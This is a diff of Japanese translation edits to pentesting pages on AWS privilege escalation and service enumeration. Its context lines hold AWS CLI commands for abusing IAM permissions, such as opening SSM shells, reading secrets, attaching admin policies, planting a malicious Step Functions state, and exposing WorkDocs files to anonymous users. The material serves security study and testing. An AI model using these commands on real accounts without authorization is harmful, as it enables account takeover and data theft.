 [**ドキュメント**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/)によると、これは“_exec_”コマンドを開始するために使用するデバイスと、SSMセッションマネージャーを使用したターゲットコンテナとの間に安全なチャネルを作成することによって行われます。（これが機能するためにはSSMセッションマネージャープラグインが必要です）\
-したがって、`ssm:StartSession`を持つユーザーは、そのオプションが有効な状態でECSタスク内に**シェルを取得**することができます。
+したがって、`ssm:StartSession`を持つユーザーは、そのオプションを有効にしてECSタスク内で**シェルを取得**できるようになります。
 ```bash
 aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
 ```
 ![](<../../../images/image (185).png>)
 
-**潜在的な影響:** `ExecuteCommand`が有効な実行中のタスクに添付された`ECS`IAMロールへの直接的な権限昇格。
+**潜在的影響:** `ExecuteCommand`が有効な実行中のタスクに接続された`ECS` IAMロールへの直接的な権限昇格。
 
 ### `ssm:ResumeSession`
 
-**`ssm:ResumeSession`**の権限を持つ攻撃者は、**切断された**SSMセッション状態のAmazon SSMエージェントが実行されているインスタンスでSSHのようなセッションを再**開始**し、その中で実行されているIAMロールを**侵害**することができます。
+**`ssm:ResumeSession`**の権限を持つ攻撃者は、Amazon SSMエージェントが実行されているインスタンスで**切断された**SSMセッション状態のSSHのようなセッションを再**開始**し、その中で実行されているIAMロールを**侵害**することができます。
 ```bash
 # Check for configured instances
 aws ssm describe-sessions
@@ -72,7 +72,7 @@ aws ssm describe-sessions
 aws ssm resume-session \
 --session-id Mary-Major-07a16060613c408b5
 ```
-**潜在的な影響:** SSMエージェントが実行されているインスタンスに接続されたEC2 IAMロールへの直接的な権限昇格と切断されたセッション。
+**潜在的影響:** 実行中のインスタンスに接続されたSSMエージェントと切断されたセッションを持つEC2 IAMロールへの直接的な権限昇格。
 
 ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
 
@@ -91,7 +91,7 @@ aws ssm get-parameter --name id_rsa --with-decryption
 ```
 aws ssm list-commands
 ```
-**潜在的影響:** コマンドライン内の機密情報を見つける。
+**潜在的な影響:** コマンドライン内の機密情報を見つける。
 
 ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
 
@@ -103,11 +103,11 @@ aws ssm list-command-invocations
 
 aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
 ```
-**潜在的影響:** コマンドラインの出力内に機密情報を見つける。
+**潜在的な影響:** コマンドラインの出力内に機密情報を見つけることができます。
 
 ### Codebuild
 
-SSMを使用して、ビルド中のcodebuildプロジェクトにアクセスすることもできます：
+SSMを使用して、ビルド中のcodebuildプロジェクトにアクセスすることもできます:
 
 {{#ref}}
 aws-codebuild-privesc.md

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md

@@ -11,7 +11,7 @@ AWS Identity Center / AWS SSOに関する詳細情報は、以下を確認して
 {{#endref}}
 
 > [!WARNING]
-> **デフォルト**では、**管理アカウント**の権限を持つ**ユーザー**のみがIAMアイデンティティセンターにアクセスし、**制御**できることに注意してください。\
+> **デフォルト**では、**管理アカウント**の**権限**を持つ**ユーザー**のみが**IAMアイデンティティセンター**にアクセスし、**制御**できることに注意してください。\
 > 他のアカウントのユーザーは、そのアカウントが**委任管理者**である場合にのみ許可されます。\
 > [詳細については、ドキュメントを確認してください。](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)
 
@@ -63,7 +63,7 @@ aws sso-admin provision-permission-set --instance-arn <instance-arn> --permissio
 この権限を持つ攻撃者は、自分の管理下にあるユーザーに付与されたPermission Setに追加の権限を付与することができます。
 
 > [!WARNING]
-> この場合、これらの権限を悪用するには、**影響を受けるすべてのアカウント内にあるカスタマーマネージドポリシーの名前を知っている必要があります**。
+> この場合、これらの権限を悪用するには、**影響を受けるすべてのアカウント内にあるカスタマー管理ポリシーの名前**を知っている必要があります。
 ```bash
 # Set AdministratorAccess policy to the permission set
 aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
@@ -79,7 +79,7 @@ aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-i
 ```
 ### `sso:GetRoleCredentials`
 
-ユーザーに割り当てられた特定のロール名のSTS短期資格情報を返します。
+指定されたユーザーに割り当てられたロール名のSTS短期資格情報を返します。
 ```
 aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
 ```
@@ -87,19 +87,19 @@ aws sso get-role-credentials --role-name <value> --account-id <value> --access-t
 
 ### `sso:DetachManagedPolicyFromPermissionSet`
 
-この権限を持つ攻撃者は、指定された権限セットからAWS管理ポリシーの関連付けを削除できます。**管理ポリシーを切り離す（拒否ポリシー）**ことにより、より多くの権限を付与することが可能です。
+この権限を持つ攻撃者は、指定された権限セットからAWS管理ポリシーの関連付けを削除できます。**管理ポリシーを切り離すこと（拒否ポリシー）**によって、より多くの権限を付与することが可能です。
 ```bash
 aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
 ```
 ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet`
 
-この権限を持つ攻撃者は、指定された権限セットからカスタマー管理ポリシーとの関連を削除できます。**管理ポリシーを切り離す（拒否ポリシー）**ことで、より多くの権限を付与することが可能です。
+この権限を持つ攻撃者は、指定された権限セットからカスタマー管理ポリシーとの関連を削除できます。**管理ポリシー（拒否ポリシー）を切り離すことによって、より多くの権限を付与することが可能です。**
 ```bash
 aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
 ```
 ### `sso:DeleteInlinePolicyFromPermissionSet`
 
-この権限を持つ攻撃者は、権限セットからインラインポリシーの権限を削除するアクションを実行できます。インラインポリシー（拒否ポリシー）を切り離すことで、**より多くの権限を付与する**ことが可能です。
+この権限を持つ攻撃者は、権限セットからインラインポリシーの権限を削除することができます。インラインポリシー（拒否ポリシー）を切り離すことで、**より多くの権限を付与する**ことが可能です。
 ```bash
 aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
 ```

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md

@@ -25,7 +25,7 @@
 
 ### `states:TestState` & `iam:PassRole`
 
-**`states:TestState`** および **`iam:PassRole`** 権限を持つ攻撃者は、既存のステートマシンを作成または更新することなく、任意のステートをテストし、任意のIAMロールをそれに渡すことができ、ロールの権限を持つ他のAWSサービスへの不正アクセスを可能にします。これらの権限が組み合わさることで、ワークフローの操作からデータの変更、データ漏洩、リソース操作、特権昇格に至るまで、広範な不正行為が引き起こされる可能性があります。
+**`states:TestState`** および **`iam:PassRole`** 権限を持つ攻撃者は、既存のステートマシンを作成または更新することなく、任意のステートをテストし、任意のIAMロールをそれに渡すことができ、ロールの権限を持つ他のAWSサービスへの不正アクセスを可能にします。これらの権限が組み合わさることで、ワークフローの操作からデータの変更、データ漏洩、リソース操作、特権昇格に至るまで、広範な不正行為を引き起こす可能性があります。
 ```bash
 aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
 ```
@@ -42,7 +42,7 @@ aws states test-state --definition <value> --role-arn <value> [--input <value>]
 "End": true
 }
 ```
-- **コマンド** 実行して特権昇格を行う:
+- **権限昇格**を実行するために実行された**コマンド**：
 ```bash
 aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
 
@@ -59,11 +59,11 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
 "status": "SUCCEEDED"
 }
 ```
-**潜在的な影響**: ワークフローの不正な実行と操作、および機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。
+**潜在的影響**: ワークフローの不正実行と操作、および機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。
 
 ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
 
-**`states:CreateStateMachine`** と **`iam:PassRole`** を持つ攻撃者は、ステートマシンを作成し、任意のIAMロールを提供することができ、そのロールの権限を持つ他のAWSサービスへの不正アクセスを可能にします。前の特権昇格技術 (**`states:TestState`** & **`iam:PassRole`**) と対照的に、これは自動的には実行されず、ステートマシン上での実行を開始するために **`states:StartExecution`** または **`states:StartSyncExecution`** の権限が必要です (**`states:StartSyncExecution`** は **標準ワークフローには利用できず、** 表現ステートマシンのみに適用されます)。
+**`states:CreateStateMachine`** と **`iam:PassRole`** を持つ攻撃者は、ステートマシンを作成し、任意のIAMロールを提供することができ、ロールの権限を使用して他のAWSサービスへの不正アクセスを可能にします。前の特権昇格技術 (**`states:TestState`** & **`iam:PassRole`**) と対照的に、これは自動的には実行されず、ステートマシン上での実行を開始するために **`states:StartExecution`** または **`states:StartSyncExecution`** の権限が必要です (**`states:StartSyncExecution`** は **標準ワークフローには利用できず、** 表現ステートマシンのみに適用されます)。
 ```bash
 # Create a state machine
 aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
@@ -123,7 +123,7 @@ aws stepfunctions create-state-machine --name MaliciousStateMachine --definition
 "creationDate": "2024-07-09T20:29:35.381000+02:00"
 }
 ```
-- **コマンド** 実行して **以前に作成したステートマシンの実行を開始**:
+- **コマンド** 実行して **以前に作成されたステートマシンの実行を開始**:
 ```json
 aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
 {
@@ -138,20 +138,20 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
 
 ### `states:UpdateStateMachine` & (必ずしも必要ではない) `iam:PassRole`
 
-**`states:UpdateStateMachine`** 権限を持つ攻撃者は、ステートマシンの定義を変更でき、特権昇格につながる追加の隠れたステートを追加することができます。このようにして、正当なユーザーがステートマシンの実行を開始すると、この新しい悪意のある隠れたステートが実行され、特権昇格が成功します。
+**`states:UpdateStateMachine`** 権限を持つ攻撃者は、ステートマシンの定義を変更でき、特に権限昇格につながる追加のステルス状態を追加することができます。このようにして、正当なユーザーがステートマシンの実行を開始すると、この新しい悪意のあるステルス状態が実行され、権限昇格が成功します。
 
 ステートマシンに関連付けられたIAMロールがどれだけ許可的であるかによって、攻撃者は2つの状況に直面します。
 
-1. **許可的なIAMロール**: ステートマシンに関連付けられたIAMロールがすでに許可的である場合（例えば、**`arn:aws:iam::aws:policy/AdministratorAccess`** ポリシーが添付されている場合）、特権を昇格させるために**`iam:PassRole`** 権限は必要ありません。ステートマシンの定義を更新する必要がないためです。
-2. **非許可的なIAMロール**: 前のケースとは対照的に、ここでは攻撃者は**`iam:PassRole`** 権限も必要です。ステートマシンの定義を変更するだけでなく、ステートマシンに許可的なIAMロールを関連付ける必要があるためです。
+1. **許可的なIAMロール**: ステートマシンに関連付けられたIAMロールがすでに許可的である場合（例えば、**`arn:aws:iam::aws:policy/AdministratorAccess`** ポリシーが添付されている場合）、権限を昇格させるために**`iam:PassRole`** 権限は必要ありません。ステートマシンの定義を更新する必要がないためです。
+2. **許可的でないIAMロール**: 前のケースとは対照的に、ここでは攻撃者は**`iam:PassRole`** 権限も必要です。ステートマシンの定義を変更するだけでなく、ステートマシンに許可的なIAMロールを関連付ける必要があるためです。
 ```bash
 aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
 [--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
 ```
-以下の例は、HelloWorld Lambda関数を呼び出す正当なステートマシンを更新し、ユーザー **`unprivilegedUser`** を **`administrator`** IAMグループに追加する追加のステートを加える方法を示しています。このようにして、正当なユーザーが更新されたステートマシンの実行を開始すると、この新しい悪意のあるステルスステートが実行され、特権昇格が成功します。
+以下の例は、HelloWorld Lambda関数を呼び出す正当なステートマシンを更新し、ユーザー**`unprivilegedUser`**を**`administrator`** IAMグループに追加する追加のステートを加える方法を示しています。このようにして、正当なユーザーが更新されたステートマシンの実行を開始すると、この新しい悪意のあるステルスステートが実行され、特権昇格が成功します。
 
 > [!WARNING]
-> ステートマシンに許可されたIAMロールが関連付けられていない場合、許可されたIAMロールを関連付けるためにIAMロールを更新するには、**`iam:PassRole`** 権限も必要です（例えば、**`arn:aws:iam::aws:policy/AdministratorAccess`** ポリシーが添付されたものなど）。
+> ステートマシンに許可されたIAMロールが関連付けられていない場合、許可されたIAMロールを関連付けるためにIAMロールを更新するには、**`iam:PassRole`**権限も必要です（例えば、**`arn:aws:iam::aws:policy/AdministratorAccess`**ポリシーが添付されたものなど）。
 
 {{#tabs }}
 {{#tab name="Legit State Machine" }}
@@ -226,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas
 "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
 }
 ```
-**潜在的な影響**: ワークフローの不正実行と操作、および機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。
+**潜在的な影響**: ワークフローの不正実行と操作、機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md

@@ -23,15 +23,15 @@
 ]
 }
 ```
-あなたは次のコマンドを実行することで、ロールをなりすますことができます：
+ロールを偽装することができます:
 ```bash
 aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
 ```
 **潜在的な影響:** 役割への権限昇格。
 
 > [!CAUTION]
-> この場合、権限 `sts:AssumeRole` は **悪用する役割に明示されている必要があり**、攻撃者に属するポリシーには含まれていない必要があります。\
-> 一つの例外を除き、**異なるアカウントから役割を引き受けるためには**、攻撃者アカウントもその役割に対して **`sts:AssumeRole`** を持っている必要があります。
+> この場合、権限 `sts:AssumeRole` は **悪用する役割に示される必要があり**、攻撃者に属するポリシーには示されないことに注意してください。\
+> 一つの例外を除いて、**異なるアカウントから役割を引き受けるためには**、攻撃者アカウントもその役割に対して **`sts:AssumeRole`** を持っている必要があります。
 
 ### **`sts:GetFederationToken`**
 
@@ -39,7 +39,7 @@ aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
 ```bash
 aws sts get-federation-token --name <username>
 ```
-これは、他のユーザーを偽装するアクセスを与えずに、この権限を安全に付与する方法です：
+この権限は、他のユーザーを偽装するアクセスを与えずに安全に付与することができます：
 ```json
 {
 "Version": "2012-10-17",
@@ -78,7 +78,7 @@ aws sts get-federation-token --name <username>
 ]
 }
 ```
-一般的に、ロールを偽装するための資格情報を生成するには、次のようなものを使用できます：
+ロールを偽装するための資格情報を生成するには、一般的に次のようなものを使用できます:
 ```bash
 aws sts  assume-role-with-saml --role-arn <value> --principal-arn <value>
 ```
@@ -90,7 +90,7 @@ onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --
 
 ### `sts:AssumeRoleWithWebIdentity`
 
-この権限は、**モバイル、ウェブアプリケーション、EKS...** でウェブアイデンティティプロバイダーを使用して認証されたユーザーのために、一連の一時的なセキュリティ資格情報を取得する権限を付与します。[詳細はこちら。](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
+この権限は、**モバイル、ウェブアプリケーション、EKS...** でウェブアイデンティティプロバイダーを使用して認証されたユーザーのために、一連の一時的なセキュリティ資格情報を取得する権限を付与します。[Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
 
 例えば、**EKSサービスアカウント**が**IAMロールを偽装**できる必要がある場合、**`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** にトークンがあり、次のようにして**ロールを引き受けて資格情報を取得**できます:
 ```bash

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md

@@ -2,7 +2,7 @@
 
 ## WorkDocs
 
-WorkDocsに関する詳細情報は以下を確認してください：
+WorkDocsに関する詳細情報は、以下を確認してください：
 
 {{#ref}}
 ../aws-services/aws-directory-services-workdocs-enum.md
@@ -15,9 +15,9 @@ WorkDocsに関する詳細情報は以下を確認してください：
 # Create user (created inside the AD)
 aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>
 ```
-### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)`
+### `workdocs:GetDocument`, `(workdocs:DescribeActivities)`
 
-ファイルには機密情報が含まれている可能性があるため、読み取ってください：
+ファイルには機密情報が含まれている可能性があるため、読み取ってください:
 ```bash
 # Get what was created in the directory
 aws workdocs describe-activities --organization-id <directory-id>
@@ -30,7 +30,7 @@ aws workdocs get-document --document-id <doc-id>
 ```
 ### `workdocs:AddResourcePermissions`
 
-何かを読むアクセス権がない場合は、それを付与することができます。
+何かを読むアクセス権がない場合は、それを単に付与することができます。
 ```bash
 # Add permission so anyway can see the file
 aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
@@ -41,6 +41,6 @@ aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymo
 ユーザーを管理者にするには、グループ ZOCALO_ADMIN に設定します。\
 そのためには、[https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) の指示に従ってください。
 
-そのユーザーで workdoc にログインし、`/workdocs/index.html#/admin` で管理パネルにアクセスします。
+そのユーザーで workdoc にログインし、`/workdocs/index.html#/admin` の管理パネルにアクセスします。
 
-cli からこれを行う方法は見つかりませんでした。
+CLI からこれを行う方法は見つかりませんでした。

src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md

@@ -4,7 +4,7 @@
 
 ## EventBridge Scheduler
 
-EventBridge Schedulerに関する詳細情報は以下を参照してください：
+EventBridge Schedulerの詳細情報は以下を参照してください:
 
 {{#ref}}
 ../aws-services/eventbridgescheduler-enum.md
@@ -14,7 +14,7 @@ EventBridge Schedulerに関する詳細情報は以下を参照してくださ
 
 これらの権限を持つ攻撃者は、**スケジューラーを`create`|`update`し、それに付随するスケジューラー役割の権限を悪用して任意のアクションを実行することができます。**
 
-例えば、彼らはスケジュールを設定して**Lambda関数を呼び出す**ことができ、これはテンプレート化されたアクションです：
+例えば、彼らはスケジュールを設定して**Lambda関数を呼び出す**ことができ、これはテンプレート化されたアクションです:
 ```bash
 aws scheduler create-schedule \
 --name MyLambdaSchedule \
@@ -25,7 +25,7 @@ aws scheduler create-schedule \
 "RoleArn": "arn:aws:iam::<account-id>:role/<RoleName>"
 }'
 ```
-テンプレート化されたサービスアクションに加えて、EventBridge Schedulerでは**ユニバーサルターゲット**を使用して、多くのAWSサービスの幅広いAPI操作を呼び出すことができます。ユニバーサルターゲットは、ほぼすべてのAPIを呼び出す柔軟性を提供します。1つの例は、**putRolePolicy**ポリシーを持つロールを使用して、ユニバーサルターゲットを追加することで「**AdminAccessPolicy**」を使用することです：
+テンプレート化されたサービスアクションに加えて、EventBridge Schedulerでは**universal targets**を使用して、多くのAWSサービスの幅広いAPI操作を呼び出すことができます。Universal targetsは、ほぼすべてのAPIを呼び出す柔軟性を提供します。1つの例は、**putRolePolicy**ポリシーを持つロールを使用して、**AdminAccessPolicy**を追加することです。
 ```bash
 aws scheduler create-schedule \
 --name GrantAdminToTargetRoleSchedule \

src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md

@@ -11,17 +11,17 @@ Route53に関する詳細情報は次を確認してください：
 ### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate`
 
 > [!NOTE]
-> この攻撃を実行するには、ターゲットアカウントにすでに[**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)**が設定されている必要があり、VPC内のEC2インスタンスはすでにその証明書をインポートして信頼する必要があります。このインフラストラクチャが整った状態で、AWS APIトラフィックを傍受するための次の攻撃を実行できます。
+> この攻撃を実行するには、ターゲットアカウントにすでに[**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)**が設定されている必要があり、VPC内のEC2インスタンスはすでにその証明書をインポートして信頼する必要があります。このインフラストラクチャが整っている場合、AWS APIトラフィックを傍受するために次の攻撃を実行できます。
 
 列挙部分に**推奨されるが必須ではない**他の権限：`route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs`
 
-AWS VPCがあり、複数のクラウドネイティブアプリケーションが互いにおよびAWS APIと通信していると仮定します。マイクロサービス間の通信はしばしばTLSで暗号化されているため、これらのサービスに対して有効な証明書を発行するためのプライベートCAが必要です。**ACM-PCAが使用されている場合**、敵対者が**route53とacm-pcaプライベートCAの両方を制御するアクセスを取得**し、上記の最小限の権限セットを持っていると、**AWS APIへのアプリケーション呼び出しをハイジャック**し、IAM権限を乗っ取ることができます。
+AWS VPCがあり、複数のクラウドネイティブアプリケーションが互いにおよびAWS APIと通信していると仮定します。マイクロサービス間の通信はしばしばTLSで暗号化されているため、これらのサービスに対して有効な証明書を発行するためのプライベートCAが必要です。**ACM-PCAがそれに使用され**、敵が**route53とacm-pcaプライベートCAの両方を制御するアクセスを取得**し、上記の最小限の権限セットを持っている場合、AWS APIへのアプリケーション呼び出しを**ハイジャック**し、IAM権限を奪うことができます。
 
 これは次の理由から可能です：
 
-- AWS SDKは[証明書ピンニング](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)を持っていません
-- Route53はAWS APIのドメイン名に対してプライベートホステッドゾーンとDNSレコードを作成することを許可します
-- ACM-PCAのプライベートCAは特定のコモンネームのための証明書のみを署名するように制限できません
+- AWS SDKは[証明書ピンニング](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)を持っていない
+- Route53はAWS APIのドメイン名用にプライベートホステッドゾーンとDNSレコードを作成することを許可している
+- ACM-PCAのプライベートCAは特定のコモンネームのための証明書のみを署名するように制限できない
 
 **潜在的な影響：** トラフィック内の機密情報を傍受することによる間接的な権限昇格。
 

src/pentesting-cloud/aws-security/aws-services/README.md

@@ -8,24 +8,24 @@
 
 コンテナサービスに該当するサービスは、以下の特徴を持っています：
 
-- サービス自体は **別のインフラストラクチャインスタンス**、例えば EC2 上で実行されます。
-- **AWS** は **オペレーティングシステムとプラットフォームの管理**を担当します。
-- AWS によって提供される管理サービスは、通常、**コンテナとして見なされる実際のアプリケーションのサービス自体**です。
+- サービス自体は**別のインフラストラクチャインスタンス**、例えばEC2上で実行されます。
+- **AWS**は**オペレーティングシステムとプラットフォームの管理**を担当します。
+- AWSによって提供される管理サービスは、通常、**コンテナとして見なされる実際のアプリケーション**自体です。
 - これらのコンテナサービスのユーザーとして、**ネットワークアクセスセキュリティの管理、例えばネットワークアクセス制御リストルールやファイアウォールの管理**など、いくつかの管理およびセキュリティ責任があります。
 - また、存在する場合はプラットフォームレベルのアイデンティティおよびアクセス管理も含まれます。
-- **AWS** のコンテナサービスの **例** には、リレーショナルデータベースサービス、エラスティックマップリデュース、エラスティックビーンストークがあります。
+- **AWSのコンテナサービスの例**には、Relational Database Service、Elastic Mapreduce、Elastic Beanstalkがあります。
 
 ### 抽象サービス
 
 - これらのサービスは、**クラウドアプリケーションが構築されるプラットフォームまたは管理層から削除され、抽象化されています**。
-- サービスは、AWS アプリケーションプログラミングインターフェース（API）を使用してエンドポイント経由でアクセスされます。
-- **基盤となるインフラストラクチャ、オペレーティングシステム、およびプラットフォームは AWS によって管理されます**。
+- サービスはAWSアプリケーションプログラミングインターフェース（API）を使用してエンドポイント経由でアクセスされます。
+- **基盤となるインフラストラクチャ、オペレーティングシステム、およびプラットフォームはAWSによって管理されています**。
 - 抽象化されたサービスは、基盤となるインフラストラクチャが共有されるマルチテナンシープラットフォームを提供します。
 - **データはセキュリティメカニズムによって隔離されています**。
-- 抽象サービスは IAM との強力な統合を持ち、**抽象サービスの例**には S3、DynamoDB、Amazon Glacier、SQS が含まれます。
+- 抽象サービスはIAMとの強力な統合を持ち、**抽象サービスの例**にはS3、DynamoDB、Amazon Glacier、SQSがあります。
 
 ## サービスの列挙
 
-**このセクションのページは AWS サービスによって順序付けられています。そこでは、サービスに関する情報（動作と機能）を見つけることができ、特権を昇格させることができます。**
+**このセクションのページはAWSサービスによって順序付けられています。そこでは、サービスに関する情報（動作や機能）を見つけることができ、特権を昇格させることができます。**
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md

@@ -6,25 +6,25 @@
 
 ### 基本情報
 
-AWS API Gatewayは、開発者が**大規模にAPIを作成、公開、管理する**ために設計された、Amazon Web Services（AWS）が提供する包括的なサービスです。これはアプリケーションへの入り口として機能し、開発者がルールと手順のフレームワークを確立することを許可します。このフレームワークは、外部ユーザーがアプリケーション内の特定のデータや機能にアクセスする方法を管理します。
+AWS API Gatewayは、開発者が**大規模にAPIを作成、公開、管理**するために設計された、Amazon Web Services（AWS）が提供する包括的なサービスです。これはアプリケーションへの入り口として機能し、開発者がルールと手順のフレームワークを確立することを許可します。このフレームワークは、外部ユーザーがアプリケーション内の特定のデータや機能にアクセスする方法を管理します。
 
 API Gatewayは、**APIへのリクエストがどのように処理されるべきかを定義**することを可能にし、特定のメソッド（例：GET、POST、PUT、DELETE）とリソースを持つカスタムAPIエンドポイントを作成できます。また、開発者がアプリケーションからAPIを呼び出しやすくするためのクライアントSDK（ソフトウェア開発キット）を生成することもできます。
 
 ### API Gatewayの種類
 
-- **HTTP API**: OIDCやOAuth2などの組み込み機能とネイティブCORSサポートを備えた、低遅延でコスト効果の高いREST APIを構築します。以下と連携します：Lambda、HTTPバックエンド。
+- **HTTP API**: OIDCやOAuth2などの組み込み機能とネイティブCORSサポートを備えた低遅延でコスト効果の高いREST APIを構築します。以下と連携します：Lambda、HTTPバックエンド。
 - **WebSocket API**: チャットアプリケーションやダッシュボードなどのリアルタイムユースケースのために、持続的な接続を使用してWebSocket APIを構築します。以下と連携します：Lambda、HTTP、AWSサービス。
-- **REST API**: リクエストとレスポンスを完全に制御できるREST APIを開発し、API管理機能を提供します。以下と連携します：Lambda、HTTP、AWSサービス。
+- **REST API**: リクエストとレスポンスを完全に制御できるREST APIを開発し、API管理機能を持ちます。以下と連携します：Lambda、HTTP、AWSサービス。
 - **REST API Private**: VPC内からのみアクセス可能なREST APIを作成します。
 
 ### API Gatewayの主なコンポーネント
 
-1. **リソース**: API Gatewayにおけるリソースは、**APIの構造を構成する要素**です。これらは**APIの異なるパスやエンドポイント**を表し、APIがサポートするさまざまなアクションに対応します。リソースは各メソッド（例：GET、POST、PUT、DELETE）**の各パス内**（/、または/users、または/user/{id}）です。
-2. **ステージ**: API Gatewayのステージは、開発、ステージング、または本番など、APIの**異なるバージョンや環境**を表します。ステージを使用して、**APIの複数のバージョンを同時に管理および展開**でき、新機能やバグ修正を本番環境に影響を与えずにテストできます。ステージはまた、**ステージ変数**をサポートしており、現在のステージに基づいてAPIの動作を構成するために使用できるキーと値のペアです。たとえば、ステージ変数を使用して、ステージに応じてAPIリクエストを異なるLambda関数や他のバックエンドサービスに向けることができます。
+1. **リソース**: API Gatewayにおけるリソースは、**APIの構造を構成するコンポーネント**です。これらは**APIの異なるパスやエンドポイント**を表し、APIがサポートするさまざまなアクションに対応します。リソースは、各パス（/, または /users、または /user/{id}）内の各メソッド（例：GET、POST、PUT、DELETE）です。
+2. **ステージ**: API Gatewayのステージは、開発、ステージング、または本番など、APIの**異なるバージョンや環境**を表します。ステージを使用して、**APIの複数のバージョンを同時に管理および展開**でき、新機能やバグ修正を本番環境に影響を与えずにテストできます。ステージはまた、現在のステージに基づいてAPIの動作を構成するために使用できるキーと値のペアである**ステージ変数**を**サポート**します。たとえば、ステージ変数を使用して、ステージに応じてAPIリクエストを異なるLambda関数や他のバックエンドサービスに向けることができます。
 - ステージはAPI GatewayエンドポイントのURLの最初に示されます。
-3. **オーソライザー**: API Gatewayのオーソライザーは、リクエストが進行する前に呼び出し元のアイデンティティを確認することによって、**APIへのアクセスを制御する**役割を担います。**AWS Lambda関数**をカスタムオーソライザーとして使用でき、独自の認証および認可ロジックを実装できます。リクエストが来ると、API Gatewayはリクエストの認証トークンをLambdaオーソライザーに渡し、トークンを処理して呼び出し元が実行できるアクションを決定するIAMポリシーを返します。API Gatewayは、**AWS Identity and Access Management (IAM)**や**Amazon Cognito**などの**組み込みオーソライザー**もサポートしています。
-4. **リソースポリシー**: API Gatewayのリソースポリシーは、**APIへのアクセス権限を定義する**JSONドキュメントです。これはIAMポリシーに似ていますが、API Gateway専用に調整されています。リソースポリシーを使用して、誰がAPIにアクセスできるか、どのメソッドを呼び出せるか、どのIPアドレスやVPCから接続できるかを制御できます。**リソースポリシーはオーソライザーと組み合わせて使用することができ、APIに対する細かいアクセス制御を提供します。**
-- リソースポリシーが変更された後、APIは**再展開する必要があります**。
